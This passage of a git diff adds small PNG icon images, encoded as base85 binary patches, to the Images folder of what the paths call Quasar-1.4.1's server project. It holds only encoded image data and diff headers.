z_TBwgt>E(`Zp(h8_8f=r&cr~-uy!|BC|zGKq17aQeR}wL=f1PUhPjus5Lo&7j={xc zCLhQZ=E~bn;<}`gh7Bu?>ih@P+*yw5-^u2k8!el-HG?lt4o$V&*`tbh^4#JtCOgRB z@^-thiGaZ!P|20J4^o7;v)78_|FldDe9Z$i&;9^|y&bKi-n=y{JsccrzVF2T076QP UWao5~B>(^b07*qoM6N<$g7%3ha{vGU literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/lock.png b/Quasar-1.4.1/Quasar.Server/Images/lock.png new file mode 100755 index 0000000000000000000000000000000000000000..2ebc4f6f9663e32cad77d67ef93ab8843dfea3c0 GIT binary patch literal 749 zcmVe|tv9>?g+k#9o0pTxd@;_sq{kwlU;^VvV*?BV8P@}BoaZTQUROpWV6|-M`|^n&)=+8tHo3*<<$NU zU`%V~ZF;?hBSYsjJ6%JzV}E(D{pOLqQklliUf9um_tGl-wty`y*p?eYNW56P>X@1s zZs7KrRZKtmV7Lqj^5Fgr7_`LjhdJK@ltF&O`j7?*NUM$KvmNGz)3WjM?V$vHlPT0AFyF?kLE<#HZabCSW3-oa*6;Z zrXD`Ulwd<^2glP%1Y1Kc1Ij%DU^=ME(jKf6APNlA$Uu;J4bVilQHSWX5uJ$9Zsp4M z0%!@LvyTxz=Z6stxlichODIY+yNGt%RM;m`>H4LOKLFs9Y%b5aUN|2|{0Zw|<_~i} fmXz*V19AKYarLKlJyH=-*k3W|aiVYC~e{STzB+=%NyKm^5w z3m4+bm8cXnzG}0Gw2c^Ol0K$0_ity0#@^}dhsl97GUJu9lkxh`Okt_0|=(|h`!tol*)tahk*i! zgS8GLCq{|Gd7N1T=a4u`0gM4BU}M^~w|L$b3WtyL{rO$Q?PPfL6z$J7;&2In&vryC zqT@6`g9u_Zg@Xt1vO7RIY-D-g8eo{1!oIz%ujUZ52IBq#JOI%e5ertc^kIf}?KOA? zx9*6-2qdQcN5WDRs@&WP6I?Nxm{No*quRTbIBKa{opLb zA%3`w)e+)sGB0CNfHgNuvOO$0ks zMIj=HnnBRUR?tKXG11rxCU4&7dG4NbuvR2_mEvc)n?Cow;~Wve|KR^>9@p5l)|QB+ z$jmun3q#x>;ss-PW_mnr2MHVzLAl1RW&0?VkixF*4t!St0YVb2wnKdU(kmOHiL;aW zK8Xte%(k>MVGG$E4no6dcNnb>BhVHHGD&1pv4YZ68kE2V03t5#PCEFm7=ad$6)+3B zTCmn*?A?=u(o~ET7~-7g0)ZB=6|lumi4}B}MLgy~Ysy6)Q5%Al7|05&1z3Jpu>cF8 z3?VXs*3<}%h3`5Wld)N2zJnk%Agw<~3k)sPTLFd=F5;d8-bj-09SkQuynfflNcZLN z!^_37fdZvzrq=9~mp*($%mcDRKC&qvaaZuX+C=AT6O*~tHl>0mcP<_q>-z%$xO(@! zYluq5a8VQI$S@4?r*v;gPo!QQ%pX3A#>xx4t=w-L6COWx?aj&`f+!YePsFtj=hOQR zP3=E2j@9L7s8;T^&s?u(Hdpu?CubjMrGn{t_37>9$|AD)QE08weJlKn8|OyjL~7oP zC8mPT`jzuH*Dh^I0048RGafUIT)4H~*m8m>egI0iH=(LB%b@@O002ovPDHLkV1lw0 B3 zlf7$HK@h-y`|e%TykI^w7?PY_EJaAPQ54c>8q53x3fJksAZa2BCYUM*sVua!l3=50 z1dSH9NARmNLGvZv<-M8Rv3QsB1}{LI`;8@!q4VZC%_V z($)|W@MebM6lV#a& zfU34!!f@p@U7a0N`V)>GiP;fDG$0YU$1qc=n0xaYRSAaA#PbPt+vx8D8 zB67J83x@zGq~M&(A%HnYBlWn*@^>KYPa(@PqEZCFm(QR6T7^0eIoK=XlUq$sy&MG<48XIWqWo>Z&VtMl{o y&kv0NU}|dWorsL?pTgE;zOB`27yg*S|Hv=)vtlNu1or3v0000(_K`e^*C)ioN>A zo?ti}?oVgtmPeyQ$Y^uWv@{a&I8;@IVHkh~M?}$!P-rn$-}ev_iDb`#clT{zO?&t4 zwUB#roBj!^)IY}TLzE*Q4udBp!qU}e<dZjbGx zK@bE&kV94dCQMxX5wjy>^DShvbjKr=%3yhUC1iQYQP$Sc*?0Q%hqa<8BCx=ZOj?8J z^`PR(bx@hqZr?bN5Ae7w2%@%!QR zda-y}31)sCgyr|)@2@X_Bgh*LHRJ5t?I>SUL!03-H9CfszNPR77PhdacUn5n_jd1$ z%}hIeiUlETqJZNKyTFu$vw#2XWl(6fmSxdqIO0YQb#?VL4{sw8scFyP;N|Ag(Wo;Z zTUI=?5m!%iJ7+t{xWx(6wBYdw&N&i!3A0LK3wy5N#b*=hjT1k7-v<}(f=T-ioxt9V?PK3JzV;UW`g8nYwq@J%HIn4H^wqgD#5zh~k~6`yE8D?#4$~nO2f-~6 z0=L79-Md>cJUm>+wr<-Ym6VpozWDrf02m4U8n4kDfxAo+X<1@lpHM5v$IulnE5P) zlih1laTv!H#vr0UAo>ToDcDs6-9&T|1YL9y!5A}ay|RSVC5g70p24(@bj2Xpi0wir zjT4pbI4^u*zOW1N6*L835E%?N=kZ;ie$S7NNp%tX!NZSpc)s87=Xp3s1OTFwmdE3{ zb|RtQ?;mx!TxynO%l~XhBob$0v6wy_4(|nnL6#(48A=_qlVh{l__ejQzs2!*{1g%I z6$%A7K0bzWxeTFD2pkT_w$tfcBB|L_Dg{2D4~$0R#-GWf(P(rxm&*a3e!maGNhXtE zwOV;X049^^fMJ+vwOV~z5Q<5|R3s89WV2c5bUM)M^{4^X;o%|hJP)N(3Cw0Q==J(> zrBXSHT0|C;`kc?_DKZKW8=KqhHXuzporYSiMol@61D#H%5U53DQLhAK0UHT2nG6sz zC>D#*Xf$Y{AvcLeE)(&Q4vk45s8lM~z`*Tx@3&g5 zfe=%g%_dDmV-(OQ zrUbsmmLXi?VA1&)?krw_OHa-kM4^=x5AFcdhlQ9b%sjzd@3GM(U=#1?o(wzpVR7dH z8Z<=d8RaU!umEkZmkO%YDlHrfjn>!K;pWRR_#XQR!{v&*S@_3q}?we7-7i00000 LNkvXXu0mjf((yoF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/mouse_delete.png b/Quasar-1.4.1/Quasar.Server/Images/mouse_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..72865668cfe796ac531ec2d40a95871aa06da700 GIT binary patch literal 741 zcmV zlTT>UVHn4Mq8SlE-6H5PsAGrDb%@qF1Uv7t%Sd7oEeZe3khvOj&=4ZM>`>dmL0iLN z5dK*n{KGbFfla3{({PH|VmX~Zb^iPIJ}>;ns1C6Q9)9rhe!t((^YH!z0K!Q-5D4_1 zNVvAPru6xIMyJzR{O5&4B5^JrkDH^>=tejkcCw_K$5OAmSS>9riF0#ve~Y)aw$3o| zMlP4b!NCEF#Udh+2;6SBXJuvO6-&)*Z*LS9JjKyNB*=!b6-EJ3BC6h@k zE-s3U09LDYZ)$34#Ar00m4q^O;lbwSW-gP-pw()j)9G*n>izwFh@yx>p#YoB2D8~b zsMG0`q$Ok-Ysb#c4o4;dVbkSivk9U}rBbL?tK8J<^2w;5 z4EcN>^?IE*8PfbFlgV{tu)e+?B18$7Qrhh{YPA}lo0duVL`TLf5C((6cVyuA`*#ly z508YD(r7ezA{mo_zFCJA{=qBwbXx(}-P1ojeezLm5L{l~r8IJvgi>O;T;_&f-%cQ^ zxqxoBIG0HFN@gvCa<5!Oru1lbN9*MeO15tW&QK%xg7!V`F0l zw(0j8jb>1-R?C6|m&U`YtF3~*2fKz-NULP<^()%$KKZl%{sTh;mq%IRcfuwj64Uu_ XBDfTk2IT+r00000NkvXXu0mjfR~lRR literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/movie.png b/Quasar-1.4.1/Quasar.Server/Images/movie.png new file mode 100755 index 0000000000000000000000000000000000000000..b4ad8738f7c6f82a33e9dfebf51ef68a127e8e1f GIT binary patch literal 661 zcmV;G0&4wV?h)m ztgwqH2$@k17Hz&Crt<|4Q=87=uirVem%}Eb2M*^4=XXBO^ZkAw9{j6lH2O-VQmNsP z>UO(OtyZ^!!QlN!B=T$jH{Q-6pU+bUg8@O0YPZ`Ei^U3oK;ROAEdMv4)oMYb(SUS1 zz2^7(FNee7U;Znt}=SS+>=02sYA`HAWF{l`zx zYBcbBWfl7R`rz!DQDAzIJJ@J6D$C_Ey$eVr64ZLBj0PkU_!#{JN~MzR)-M)=(TG4O z5JG2r8|=d;fXCxulgXqkl}dYng@q5)+jsAg&1Pfuo^(23qh1FI0VbA~ptZTl0;VSK z0iVyuX0w?)K|CI(W}m-AOozpI96H4HLZLw1Z|!LR zXfgJ!R}f^H0q{>xgJZ;wtyU`+kjv$$x%oF}e(p7+@lXJh%FSC7aQ)g~gudfNVBPt*oZdlgE#sUf<{m7`BhVU5^Kkja}pdGMNn3 zX#PPypAX8VbvAcKvrHxfHQ5FEF$L(fS`d*~M^B%^SH{Pcl}cp~K(>pL%jIZt$_rv~ zKgr$z`oTfa>2#n_$U&`Av5_)h;stg%99%#$nWXf3Jz68tG0P+n2v{>22z`dp-|`rnLxdB@rVa|z1|zOTCMpPcsNraL)ZI+00000NkvXXu0mjf!?-xj literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/music.png b/Quasar-1.4.1/Quasar.Server/Images/music.png new file mode 100755 index 0000000000000000000000000000000000000000..1309253cc4a6c9984d1b5652f30b924cf3d7aa66 GIT binary patch literal 332 zcmV-S0ki&zP)t&-Wcq1##{W_&kwkK0|Qn9g3m|iXbTO7=kf-I2?`{io@YJ#}GJ_8#;_}D0#No zMKJ^x$1_(Ee-3;ZOH3dLo=l7&!~_;a$xIQHn7|?k8H*ys1cGA8c%}%3z%fPmb(Cm2 zDQ)nE9U6X|C6Z1{MPBhkIIONT)+yk)MXn>yX?3|#U=`(#hcth`b+O4JGkP?6NzBRd zTBAq~p+|?$)b1FBCAxI^s`Q&?xG-TvjwiZ|D(xoCa_6ybBW+RZ4Z|nGv7BAQGqZTVBEa`0000Q51$RwCw?WgWe;0fi^vY%UagXRhyB(O=1wVPFJlYqlK$kNFcaSBrLFKHcpU( zVj5rP+%se7wuRup#~J3_|C@8?jsx6(aN8gV+_?~^wID=7QAmWo&=P9GzK~Bj7P?xU z4^LybJ-~;P$nL)ri2Lx-f?f?uyKtX3G(76UWeycgm{0H$eX9nWr+ASHH8>r~vom;o zFz$}vYpDI9TZYLgxm?Z}9nS!RQHI8Y*b~3AE}I>k|Ynq_|_kL0z^} zg`YWG?`i*VRiHt=)+fle*{;CjiLD9r5bPAPFRr!h8&+rODTKm>mjte|vSwTU#7zr+ Y0SIdSJYsEaB>(^b07*qoM6N<$g6XKB5dZ)H literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/note.png b/Quasar-1.4.1/Quasar.Server/Images/note.png new file mode 100755 index 0000000000000000000000000000000000000000..244e6ca045c50a130086ac388b560a12761544b4 GIT binary patch literal 500 zcmV z!-sF!^gVb+8rtpyctW0#N6uWni0LCt_6PoOdbjll_d4>B|?abUmpo8>v>h}Zj|Ya;Eu#qwvU1IVc9khP8VrtAsT2=e83P~$#!xXbw)n}FlPSEe7Hq1uCb zR8w;xqmBrUgA^pnkB=O@-lq0DPz$ay0yh_~I_IDpzxRb(4=Iy9CT||k!08w)Pe>W4 zElmH8fF;68$GMwZ#7{4ozI(ySrR%I+xs4-G1q^UxnUV7rlf9>Rn&_6Wike0000v%0y_nie4@QbY&^tbl4Sl(SzV~n0XlZf6UDPQ6j=tD#8}4ezlRG zZ^aZB5eX0zA~r-!fEXXKK7<-;G-5mmHBA?vs9FMRh#tALPC*0|R2D!W_x$pD2Y&uH z+eHxPl@An%I6xt+F{nrb5_%h4!5CaHk12iv=OYr7cNc)uh|`Gk*tX{aE-Y<8V12+K zPJ@IMP&HU1t^{I`U;_tcWvOhrM%lwTT_N$nd1VpvZ#{vt8a*?L@xOx&KnzwFi0yAF zD?5!?55(2Hfm#jH;)`C1wsa8hIuAHpFh_Cx84de(fs`1Y)r`zJmOYQ4l;h7z{??m2 z6NB|tOoR)Q+6LPXG!1ljo}#1m7&G(ZWG2)6`muahZFZcKskR~D8qf$7frn!c bvi<)7-g`sTs&+NB00000NkvXXu0mjf0pJeu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/note_delete.png b/Quasar-1.4.1/Quasar.Server/Images/note_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..8a1f0ff56f3ff9c1d6e1868eaebab76a185b35d3 GIT binary patch literal 631 zcmV--0*L*IP)X_hQMgJ64VgUTuVX_4iRmQ%|%N&1VIKW z6ly_}Niis=j1O#s|KSprLH24(6;msP^w!;>QD2}~Bd>N!nVR)Lt@FeB=w?vJK@BNvc%LDG&20)2m|BSOT zG|GYVcTq|a#BPX7Q8i>wYmuZj)g4Rb?d zoVa*{?96A>%WfKfzN5XZB^D+3Hxl3sDvoG6cLzPuPx0$};+E57TQ6Xj`pC9+z|{wv zz4sm=4ys+P57Xl7YZ7dNID=S?(*+5TQ^(M5v$(QKVE?W+9X! z*o}&~6c?_FreF)9NJB7b5Nbn{G0n4+%uJhR9(V5R|NFTpb|HgjefT!tIhLx@DR+N) zV+fHiR5Yt19}k|KnCsND{tH-`IMJ)3AE?OtyZ4>Un|6(d%h#JK`i&a7^xW9>`yBy` zS4SOHeOpC7$?hH5-#7Rswiue_8Ju*2N@$58=a#2OTA3png`w3v->gWif7t%e$ z$NLVS!tFT#8WL|Wa&K~+{%4P2cRfwesYV1_!F=3OaRVHl(>=`%&{x*s30c}#CNE@&;ItrAv!f!)Oy$Q9t$uS=(sD$-J{T*^(8Eez1E-l3}} zPrfHZ1`qsIFe&gipuL8-IZbo2Yg{lFGKs?ZZWcOaOdk*3`5T;$?AjbG1#`B510Er^h2)2r3Y{!8_2Gj=$KzuN5 zaErtW8W_Y2iJJjY)5pmTVJoPJYpanPOEuYHclM^C1F>${hFRpdi8a<2H|Xudf78bm(zwJ9`K%6I?q*Ua~ fW9JvIbn5*B+_J)rUMBs>00000NkvXXu0mjfH&TkY literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/package_add.png b/Quasar-1.4.1/Quasar.Server/Images/package_add.png new file mode 100755 index 0000000000000000000000000000000000000000..9c8a9da4ae49b7fb02af2eaf6e03e0f6c91ba01a GIT binary patch literal 899 zcmV-}1AP36P)i-HS{zx9u^IUGw>*=$qi z4z(fju8Kxf4E>slBg^es4|nAN~@NV_SFj zT24(nZf1>C;s&Oa#mmJBSw-p_cY~Y6U)hMyiI9#@b2~OpJ~{tQK#e@V>&ZUL%dC-& z4K3ksgdE?;g2XJ7a-IC z{t7T9P!AB)6MkIq=xo`8@fr4Pe+pxHJkq|8i#gBoi7`)S7Dry495@-9|NUzWL5S=I zI}8e@=#j{*V_TIRYJCHM<4>HSsjdT~`23%KH*e}YU%C<>JM(QmG2_K2&b4Ftok-)u zSoT&#!hAJ4MD=!?;n}ksXzJm;^DmMqtaEL0%KcAFfAn>=sgaW^@?6tnFI$DxIX=HQ z$n|KMeH{mAuJ2-I1BCpEP)*e`r0GmDdCv3B-24AN7nLkDp7r6!fpdkQ_POs-o|x$lEQQg9%evW;K1esG{Gik*}W^x_p02 zz@7605mh~*BB$cp`?|L6d!3LNikV3wPMD?CDC_s8?yATc75TAuc)YR+NS+_)L-b>( zsrQ9#j~&5n>ISV5tlihzvj6 zHDtNXPvRAp*~s0*)Qb3}431T$tz$2EYlIs*2)S|cnIwy;Davbif3elb@jZvmT7F@f zVrCSn<#Eb6%J~fW`2`LReM=-(52Z9(N@3-bw6yQ1u^Fa+pFL`;NJ+68qpm}|xr0jX z26asd5=}8;l);+=69sPpD)W@H6BN@|aCaR+jg)K^0RgNik;ZN!P8@G(5-Bbb34>Lh zfsj(mUZRj+Cx|5=>Y#prieRe|9`s;9t61=5{Se?kq8ij zU+()P`Q4A8{?PogZ2858X21%`-aNe960R|t^-p8 z^#MVBA#){3_e)1{XGXDpK1SW_uk7k*rZ%@8*ka79h57N}Tj{Y=&7Ft39^KzhIKCIk zDey{|s*hQ#;kNCD{`WQ~Y=8O)Ay1smDNq0KY^#dAt47{xe`+An-rEnpM}Gb))1Q6G zGp`I%KX;C5B}*A7;LY2^-NEnihO`bR7JkxdbOvtdjHL^v38oUE+~BW@`d1wzX5cwxst&W RBUk_c002ovPDHLkV1h=xq}~7k literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/package_go.png b/Quasar-1.4.1/Quasar.Server/Images/package_go.png new file mode 100755 index 0000000000000000000000000000000000000000..aace63ad6f91537268eb6e9bf328743da7c631c6 GIT binary patch literal 898 zcmV-|1AY97P)yqPWur#3F*- zi1-H*6GJgONgz~1E;+_Oe@~@VF-1Iy-=*@ zV9T!Kgk#%59lVt}Zj7B_)9wTKYBy6YEwPxKqOdeGuEw0%cVhe}Yj*hPSBMNYZ5yz{ z4STT*%d9TVV4NauDND$z(%QKb>=kMr>ckh0lFuesOioc=Nq^^8BQNYYbk1@M%M`O? zh?6H&UZR}Ol3%#RzJX5(MAktmg_e?7`2>w^4^!6w)4$9==U0)EV$}u1A)*bPRF?jv zHdar4EJB1b*f+rh!M+8R159x8%Qjd0I{0j+|69pUC)f(>!P(OTs8c~;XuVtXzfO>s`m zrjW9YI38*Yel_NvP&FVfNEx)sn-kxIx;WzEcpe*LJBYXLr(llS6I0o+c9O z0L_4N7u$0%Dx~ks;fjYRF0OIOR}1uPI!MtibK=J3pihiBTv)jD>R%(Llj(_XFa#mG z6Wg=#j7Q7*PFmM*W@B9!ftm;#qU}sCT;|&KtBZ%Fe#3()Pk+9@Sw&8%k=NQD>92qN zkFT*E2S*%i&!MYvH;;DpF?sU}zb4Mlls)au3~BX$XZr12Z?_sbts>8Fec~0Xl1q`9 zxyH%T#p<5UCqrY2(J4oGEHk9ens22BN3dYXATM07*qoM6N<$g3xBAZ~y=R literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/page_copy.png b/Quasar-1.4.1/Quasar.Server/Images/page_copy.png new file mode 100755 index 0000000000000000000000000000000000000000..195dc6d6c365d298e466026b37c1959d96119ea7 GIT binary patch literal 663 zcmV;I0%-k-P)^@R5;6Z z(>-WZK@^7J_sq=QY_e{46@P+~LNG}sRzZsxQHvCsN*h5ir6^j7pq-$xu$N#V1gx}9 zClV7;5)7zih-s3DB)G=7|99>ji@So7-P24n=VQ(@GctDX!^_@$bj%oviY6e4Dh;od zooe%Wvs8LEKQ&&bL&@bwi=STIAI@!-gB2jC5+?y?VR~VkrNxam-`6*8&po|RZ5LpS zNKdJ%c4bTX`XjKsnecf%W>1%6WT?pKNdLLq{=(f(Col?P1+oq@R>)W(n=x!|*BIIh z6DJGw_w`)u6yN|vAhMteYK5#b%r5^v+VCFl1IGssaclZZMS{vs-LJ2$)n7DAr6==K z<29#%AXsBsDoO}SBaXR#_Ap!JKx)(1)3O2pj0_dYWz5By*X74fRT01$Fk%P_RzOMDtV?GU{nsYq#K8iy zb6qzLYDj`_f5$BwC*WE(t0m#xYJ*=jC2|HQYHh=pf#QG7oowi`h!L!{DB$8|qY{~X zu8@sU1tWq;n$XThR0%;45mdqXM892|{CJ@0DS*}>?ami06Q_^tvM~Y3K(_-`#m!8f z8f!QIrH4y#61;0Ym0cCoLl8{IPombPHtnn7%SbTdI&G-d>ZQo!_wBMF9nzX!g8HVY xYTJPGciz9XMh3w2fmZ(7v{)r*QZD48?mrio{~IaoqC#5QQ<|d}62BjvZR2H60wE-%6;pyTSA|c6o&@eC9QG)Hj&ExYL zO&oVL^)+cM^qd@ApywS>pwx0H@RDN}hq;7mU-SKczYQ-hnrr=;iDAQMZQ+*g=YOM= z!QlMQEn7FbaD->uKAYgo_j9)W&$$zS*W9}m(ey0q$&7l-XEWO0Y(9M=SnhLbwy;d>@~SY$Ku*0xPvIOQeV1x7u_z-2-X>_74(yfh7C znXL|3GZ+d2`3re2hs?MKvl)`fBvPpq zMx&AF$wLCy=ytm>0=c0}l9HB4;AOjom&*aG)#;3Lxm-d`jBJkksU*W!iBc$CEJEW~ z^f_6~mytc8WYv?y;Q)O{3(mb{rq#lFI7Ft=z%F)v-CWgFot!&Kqg)0J)9v-}WSU6V zYEXVPjkv)12E-_z$D89Ipt=eLtfy1Fb~lTKaD6R5XUV6QNjmf!c(u;*?2rg6h-&E qE71%3KSt~`+5DZGcntQh00RJAd+!;_Gf~t40000dkWb2!P*^|{Swa$CLKTy39-L_{XUUOI%9TRToJ!E0S=5|e*rjUOk2~3@P~60A z-K%rmu597Uu;jWg=Cobtm_Y2RVeHST^5Mwx=DzdKZ}iWl^wg*H))34H((EB-xmd1e6raEM-^`e02kJ8yizj1mDU+RbStf z1Hrd9){|3_M&g?o+G!}_;)|g1g>_N*%))9?DDr$dwnE~{vJ!9y@L6kViU|lJT*xDD lq%DfXXW-`L7i7WXX8<#!4)lY27{vep002ovPDHLkV1k3|#2)|v literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/pencil_add.png b/Quasar-1.4.1/Quasar.Server/Images/pencil_add.png new file mode 100755 index 0000000000000000000000000000000000000000..9814aefe742adad0edc10ed5cb945fc2c47cefdd GIT binary patch literal 548 zcmV+<0^9wGP)Sgx{Eu)f-%yaFWah5H)|PLgg|bTST}1KIcytUheXSh zQ^}A|%9BtxYZ**?F;k2vSC1`NKoeO)5?(?TW{yvRt6_(^V28S3i@IWryk(8LWRJUQ zkGyA-Z62IyC7_Q+rIAXiU>32{kg?X1veK2bb}Y2im9>2|w$z-ti6+00C&7zI!en#rWc= z_~Xm??Zf%w%lYHX`sdO5?vDKQv;Y79W)byh0000LbW%=J00|i&e1wRMt*+nd^78Wc z_xJbx{r(YQ(EtDdo=HSOR2b7^V89I+xkb#mn2-boFB)w5NWU}s=Z^^Vau zb+R@S)Y6VuRN)5-M0t9cXzDVE8N|oO>xeQiNZAE?8S64I2q?(M%Yjr#N~`H|0L@|* mSJF`uXGiiJ8;>Xt8v_6lK_5^q7J35!0000u4^P)xkUrHMFY7- z1KX-k%ac>lb2!OlCB01q%WEykkWb2!P`p9}SU?k5LK0p=6_afqoM|PhU>3A?EVX?! zxrrvfkSD>5NWy0o!xw|^s$uNUsqS_F?|&Hb;mGpl zzVpv-^qph$&!zO#r}WlD^{8_7&!+X+X!YD+_O*@owT<`Nz4zhC_;vvJ;l=pksQBZ{ z`0c~_)34H$)`wD_2i z1Wb&A!*#h3d~2`JsHh-G1V19o!qYQI1i_E>b2l*8LE`&+$JiR<;;W+ZRouXQJ$`8c zRv?#I#Y!8@7Y&T}kziq9kavw%)-cuAP)A1 zOEJ*J2%-6P-uFsN(314vc)81apZC3Y?}U^RyNqtPD}x|FyWJM~eFHm=EXyz)4*%_2 z`9-hS>nKH+LWpCvJW_K{ee2+Qy$;K=iUCm+-8LExR4SE?bDE}l5@MQWF@R2<=i#hh zg==L9Gagssz>e{B{#CAk4$LM@iPnXHWk?Xw`LOUEW#s_FFc8NvgbK8&R^1S*OrR37 zn*ts~sNlPI6{FG%N)TkF%_zHVFy=yhaAh z=X2P$4d3_SI1Uzzg$DC~VGUH@|Ab+Q2rnAt>LM%-F zK|rtwgcU)}7x~z1Hrcs5bH*ZO$!>xO8K#?==bZPQ_ecnV>#P`H`QzGaRhd62G_&rC zTLU$c7_x*nFP_dW#Q+*);mMHE?j)HexK784D4x9l_tfpz2$@1y}9rkF+ zI+J5NMWeZyObc!d+rUc=>D+uOdAOg#%+Ej6h+wn5^xPmVVH*Eu446Y0A_@ zo$rlds-+sL10DbwHdg4=I}KDOKH)5`dDSD>$*Y+lYhxmAcGuF-%MWsHUJr4IgaCsM{ig0 zSSBT=s4DwP*iI5?#me_ElhaWObR8DO+&EW-R6_iOTG;>$!^9AfH5RBU`HBdsS8XyAx|wUq)E7h=Ss)mVnuwi!$R3b1!m9&Tc8e2Ah* z93dsPSIWMcb|P*JsnqXhvE^WDxdW*bQYjAj-)O1aj{;`q7kRbTjhQIKR1t1J@W^=H z&KKSDw_e_z=&`ic2;k(#VF6&)C&;9iap&Jt(%M18^cYK-DUQ?~rD9htLzB%~biuWVi^wq=sbuS+r^MZt^XM4mKhUNn@-HDRMN|w*p+XTw5ejxoBfqGYGMX z(mxA;rQ{;Eh;XXz5&+jv+-LAZKk(eOLY8>^WN4-(D|NlrfBplBR3bVVA7LUsOjp|g zy{|9gnht;`^xt0nqUO%>o{FmI&DMtF)b45G)516-?}wS2P4@j4U=z{{Tmg0fDWHG! bUcBoE0(26M^-PUO00000NkvXXu0mjfKPpmF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/picture_delete.png b/Quasar-1.4.1/Quasar.Server/Images/picture_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..cca9f535d9a699716b2c735d0d72374472b9e1ea GIT binary patch literal 744 zcmVP)hQkw$4DenXv_1k19q1k|i7>6Y(!p>Gs}5>iPV z&!aPy~rgIO_{C4dkZ zsR>k_stj1H2h_AgX+YF5TH#m%V^&Vp0x+fl@M)z~j$m*Jv?7oSAwrZ(QKF$u*tP{m zthQiG!$Q<-Z$2x93SWCz>;N z@|O=~WGn`>v{S8}AU&TvrXK^HBjlLS_A2{fi z9kE7URXC0c#|c`x8VSriV9%*u{Le%1vY)0{oXs5_c45r)I=(B4=z47DhP@!fFO>QH z0C=0v;craC(Thvo`;ypNY<5D9c=%{=VqZ;}9mcGE1D(-CbLGP`EAr$5!D5yQP@1<< zHq*lVt!kNGcenM0nj_az3F$c2B&EFMYtB~ns=5AO0D$4{_RHnM^m$u}4rQAu1Gf)n a^msfbTI z9jQ^EwMRD5xNEm*sJPjH^k)@gXT@kl5ii6#6jNXX`Yb0kVgq(zut?ZfbRr+DS= z>q{33dTpWN$tl6c7nxE)4Qur1GCxuUnp5Y z5HK(>u&W4&EXz<>UtfnPivJ`O3Zb4K8yl-}7K;Uh5XR!-B2uXo6E#Dr&Ck!D<$0b5 zXEK?PNF*3;w;Rc15`MqGDN4rSaGd2kJ3GNmOiaM%^D*ppJL2&;mX?;95{t!PwOY^e z?d|R0=pOKTy$qMj1$rk8qtS@b(NQ*LUtb@(y1JlNtJzsS-`3U!Ze(Pn>hXBkfzr6} z{3Vv(2AlG1;RQN6I#_mYZVs)jt>6p>!_3go(6&ye1Mdo>SRyz&A^1T#%t=UROW6Bf zz^9CeqErU&3`3<-Da~6HQ^UW&yCT)$Cu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/printer_add.png b/Quasar-1.4.1/Quasar.Server/Images/printer_add.png new file mode 100755 index 0000000000000000000000000000000000000000..d228d0580d8af0dea62d44c8fb33851568591286 GIT binary patch literal 782 zcmV+p1M&QcP)z?``cAjK`}OU-rz95{9r*BaIM4Gr-{-(903g`rl=7|Q zY>&q#(t7d)h;*K$NIRJnY9{ifSDk%3Yqu%bRNiu?SJ@=KZ>A87|74X-AsAty99n|( z-hARj^YETs1wxH0v9ZNr=5v;if#(y4@r4vpnH**!S=<;|!byew*{*^rjVs9uW{F_- zOBPd$X*fS}2(N5{PqwnQg)-H6=C1;^T3uA7nc&tpIrzzK{^i`S6lvJzwqOp#u}(%i z-QnOQ5=l{kfHX@9aq?JLBZA;^9v_InM?~Jm3>{-^K0(gXsOWT}uC6XF7K^1+KpM*i z1_t2udU3ADjTjMxqIm=f{;xT_C!@GY3I`b_Mg(VWy5Vp*AeYNgUS3|t3w&fD8jV7! zRQ?xyt<&j5b#?UuFW|D-EO@4;r@^x9KXJKS*sgDFZOsc*Dit`6qnJ!4gu`Jf`jaQG z`ylT>kBfIiU~X69sr4ZkhJm2Hy&b_|kYX?x5DJB0x7!PNVC;t4#9%m}$GeCXy*3$Y zdXJ#A<}d_pZEdjGY!sbNhd>|zi^WoaL{ou5|6L5u-3Pz4qmAety@ZmceGrg2U^bg6 zdc7XxO(+V50xc~qG^X%cF-8K9v2zXi^eAcG3xP}~%NdPED&QMmynKbRHxmUMzj6RQ z)(hyeN@#PJMM4uCZ6X4xRQjmCzTQ_`TMI_-Mk2{!b%Vn`!iy8(2_#ButL^3%VaH2WCpD^U)OZxp@C)2#hU)y+@T%ZNzJigNk%37 zz-WYJwT%teVfiEI+B*@v4ey@58(ld4VY_&5-ox`e@AKg+0U-I`y79bmuw_~y6+4rZ zBG5EdFDS+@M0OSE`>d7SUDOzKZ&h*4eB1iX7tOd9RiYtW2mQ--bUahxr1`i{RG@dM zL#}_X=DDO1{;UI$pFu=dLYT_=5d8WC-sLfjr7UO-HKMAwa=!>)kEhvuwre zuW3yF@ZxFCkI*+ad|5kOX%5zu8IQjhan)UqgSrFGA_0nQFn@Z08DSEUToCSz4Z1ls z&fDbq$T&7|6iq$_uDI$@q1_kQ@dfqk*0>{SDL6V)94@)ete)j++*>bIc9sj}Y;R1o z#OpH+Yt-^4wfv{nern^iVag8pF7<5HgbW?9;ba!ELWdLwtX>N2bZe?^J zG%heMIczh2P5=M_6iGxuR5(w4lfi1jKoExWntc-=qvt+EA*VnOUP5}S5EL3u;-M`< zYf4oTD`A{}HnW**Tz~j8v$HcFW{62ymJ~YAb1I5LqB>1eZ&sofKvh*#*EKaw<9$mQ z#+`)-zz*LN2DMiq0ze^oWX~4T__X31&fkBC9-dteVaWbkoIL>2M#SUU4KKg>%x^gK+W?1GHr%?pue*-zNm)6THKUe0n}$?604j1`v3p{07*qoM6N<$g3|q- Ae*gdg literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/reg_string.png b/Quasar-1.4.1/Quasar.Server/Images/reg_string.png new file mode 100755 index 